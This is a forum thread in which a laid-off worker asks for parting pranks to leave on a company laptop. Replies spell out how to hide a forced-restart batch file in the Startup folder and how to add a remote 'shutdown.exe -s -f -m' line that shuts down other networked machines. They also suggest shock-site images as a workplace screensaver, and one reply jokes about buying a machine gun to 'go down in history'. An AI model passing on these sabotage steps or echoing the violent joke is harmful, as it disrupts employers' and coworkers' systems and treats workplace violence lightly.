Last day of work.
Having been laid off does anyone have a suitable image for me to leave as a screensaver on the company laptop. (I have already set my homepage to 'I love Horses' and turned the volume up full)

Any other futile gestures much appreciated.

So long, and thanks for all the fish.
Or any other Douglas Adams quote you can think of...

Hmm....
Open a text file, and write this text -

shutdown -r

Then save it as restart.bat, and put it into All Programs/Startup, then make it hidden.

(Sorry if this is patronisingly easy, but basically everytime someone loads your computer up, it'll just restart itself after about 30 seconds)

Slight modification
Make it:

shutdown.exe -r -f

The -f command forces all programs to close so nothing can hold it up.

Marvellous!

Actually, just looking at the shutdown command list
Add an extra line going

shutdown.exe -s -f -m \\ANOTHER WORK COMPUTER NAME

Whenever it starts up, if it's on the same network as that computer, that one will be shut down.

I've tried that before...
I had problems due to admin access or some crap like that.

Doesn't always work
I used to have fun with it at LAN parties when there was always one sod who never had a firewall set up.

Pity though, you could have had the entire department reboot... or if it was badly set up, a server. If you could do that though, your IT guys should be shot.

that
is what I was going to say. Or Tubgirl. Or Lemonparty.

Or a particularly cheesy pic of the Chuckle Brothers, tiled as far as the eye can see.

How about Goatse for a screensaver/desktop background?
it may cause a certain amount of bridge burning though

Edit - PJM is way ahead of me

Just a thought, you may need a reference from them sometime in the future.

Dammit!
I had not thought of that - I had better go clean up my 'dirty protest' in the board room.

Buy a machine gun with it
and go down in history. That'll teach 'em.

I've decided to leave this page...
...as 'home' with instructions to google all the suggestions.

(And the 'I Love Horses' remix to come on when messages arrive.)

Thanks for the lovely advice.
